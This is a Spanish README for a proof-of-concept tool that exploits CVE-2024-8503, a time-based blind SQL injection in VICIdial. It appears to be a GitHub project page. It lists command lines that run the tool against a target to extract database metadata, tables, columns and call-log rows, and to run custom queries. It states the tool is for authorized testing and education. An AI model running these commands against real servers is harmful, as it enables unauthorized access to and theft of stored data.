
PoC de inyección SQL ciega basada en tiempo sin autenticación para VICIdial CVE-2024-8503, con extracción de metadatos, escaneos reanudables y estrictos límites de seguridad.
Prueba de concepto (PoC) de inyección SQL ciega basada en tiempo no autenticada para el endpoint VERM_AJAX_functions.php de VICIdial (CVE-2024-8503). El proyecto está destinado únicamente a pruebas de seguridad autorizadas, validación y educación.
CVE-2024-8503 es una inyección SQL no autenticada en VICIdial donde un valor de nombre de usuario Basic Auth manipulado puede alcanzar la lógica de consulta vulnerable en VERM_AJAX_functions.php. Esta PoC utiliza inferencia basada en tiempo para confirmar la explotabilidad y extraer metadatos limitados y datos de tablas de forma controlada.
Esta versión impone límites estrictos de prueba de concepto:
requestsInstalar dependencias:
pip install requests
Ejecute la autoverificación local para confirmar la configuración sin realizar ninguna solicitud de red:
python3 CVE-2024-8503-POC.py --self-check
Ejecutar un escaneo básico no interactivo:
python3 CVE-2024-8503-POC.py --url https://target.tld
El modo interactivo es un flujo de trabajo separado para pruebas dirigidas por el operador. Es útil cuando se quiere avanzar manualmente en las tareas de extracción en lugar de ejecutar un solo comando.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
El menú interactivo admite extracción de metadatos, descubrimiento de tablas y columnas, extracción manual, extracción automática, consultas personalizadas y escaneos completos reanudables.
Use estos comandos cuando quiera una tarea específica sin entrar al menú interactivo.
Extraer metadatos:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
Listar tablas:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
Obtener columnas de una tabla:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
Extraer columnas específicas:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
Extracción automática de datos de tabla:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
Escaneo completo:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
Consulta personalizada (solo SELECT):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
Indicadores opcionales:
--path para cambiar la ruta del endpoint (por defecto: /VERM/VERM_AJAX_functions.php)--skip-vuln-check para omitir la sonda de confirmación inicial--export para guardar los resultados (JSON para metadatos/escaneo completo, CSV para datos de tabla)El progreso se guarda automáticamente en:
.vicidial_scan_state.json
Si se detecta un escaneo anterior, el script ofrecerá reanudarlo o borrar el estado.
LICENSE coincidente en la raíz del repositorio; este README asume MIT.Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Debe obtener permiso explícito por escrito antes de probar cualquier sistema que no sea de su propiedad. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.
Este proyecto está licenciado bajo la Licencia MIT. Consulte el archivo LICENSE a nivel de repositorio para más detalles.